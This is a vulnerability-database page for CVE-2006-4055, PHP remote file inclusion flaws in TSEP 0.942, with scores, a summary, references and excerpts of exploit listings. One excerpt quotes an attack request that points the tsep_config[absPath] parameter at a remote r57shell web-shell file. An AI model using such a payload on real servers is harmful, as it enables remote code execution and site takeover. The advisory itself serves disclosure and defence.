Vulmon Recent Vulnerabilities Research Posts Trends Blog About Contact
7.5
CVSSv2

CVE-2006-4055

Published: 10/08/2006 Updated: 17/10/2018
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 760
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P
Subscribe to Tsep

Vulnerability Summary

Multiple PHP remote file inclusion vulnerabilities in Olaf Noehring The Search Engine Project (TSEP) 0.942 and previous versions allow remote malicious users to execute arbitrary PHP code via a URL in the tsep_config[absPath] parameter to (1) include/colorswitch.php, (2) contentimages.class.php, (3) ipfunctions.php, (4) configfunctions.php, (5) printpagedetails.php, or (6) log.class.php. NOTE: the copyright.php vector is already covered by CVE-2006-3993.

Vulnerable Product Search on Vulmon Subscribe to Product

tsep tsep

Exploits

Exploit DB: TSEP 0.942 - 'colorswitch.php' Remote File Inclusion
Script: TSEP <= 0942 URL: wwwtsepinfo Discovered: beford <xbefordx gmail com> Comments: "register_globals" must be enabled duh documentthis != wwwmilw0rmcom/exploits/2098 Vulnerable Files/Code: /tsep0942/include/colorswitchphp?tsep_config[absPath]=rstvoidru/download/r57shelltxt? /tsep0942/include/printpagedet ...
Exploit DB: TSEP 0.942 - 'copyright.php' Remote File Inclusion
+-------------------------------------------------------------------- + + TSEP 0942 + +-------------------------------------------------------------------- + + Affected Software : TSEP 0942 + Venedor : wwwtsepinfo/ + Class : Remote File Inclusion + Risk : high (Remote File Execution) + Found by ...

References

NVD-CWE-Otherhttp://sourceforge.net/forum/forum.php?forum_id=597790http://sourceforge.net/forum/forum.php?thread_id=1546639&forum_id=369628http://www.securityfocus.com/bid/19326http://secunia.com/advisories/21291http://securityreason.com/securityalert/1354https://exchange.xforce.ibmcloud.com/vulnerabilities/28107https://www.exploit-db.com/exploits/2116http://www.securityfocus.com/archive/1/442098/100/0/threadedhttps://nvd.nist.govhttps://www.exploit-db.com/exploits/2116/
CVSSv2
CVSSv2
CVSSv3
VMScore
Recommendations:
CVE-2024-4671unauthorizedCVE-2024-4776CVE-2024-3407CVE-2024-26026CVE-2024-32888wirelessCVE-2024-4656template injection
Vulnerability Notification Service
You don’t have to wait for vulnerability scanning results
Get Started

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Products

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Connect

Twitter Reddit Linkedin Facebook